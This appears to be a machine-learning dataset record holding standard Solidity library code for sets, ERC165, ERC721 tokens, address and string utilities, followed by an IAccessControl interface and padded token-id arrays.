number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./IERC721Metadata.sol"; import "./IERC721Enumerable.sol"; import "./Address.sol"; import "./Context.sol"; import "./Strings.sol"; import "./ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } }
* @dev External interface of AccessControl declared to support ERC165 detection./
interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; }
12,105,922
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 5206, 11352, 1560, 434, 24349, 7886, 358, 2865, 4232, 39, 28275, 11649, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 16541, 288, 203, 565, 445, 28335, 12, 3890, 1578, 2478, 16, 1758, 2236, 13, 3903, 1476, 1135, 261, 6430, 1769, 203, 565, 445, 15673, 4446, 12, 3890, 1578, 2478, 13, 3903, 1476, 1135, 261, 3890, 1578, 1769, 203, 565, 445, 7936, 2996, 12, 3890, 1578, 2478, 16, 1758, 2236, 13, 3903, 31, 203, 565, 445, 18007, 2996, 12, 3890, 1578, 2478, 16, 1758, 2236, 13, 3903, 31, 203, 565, 445, 1654, 8386, 2996, 12, 3890, 1578, 2478, 16, 1758, 2236, 13, 3903, 31, 203, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 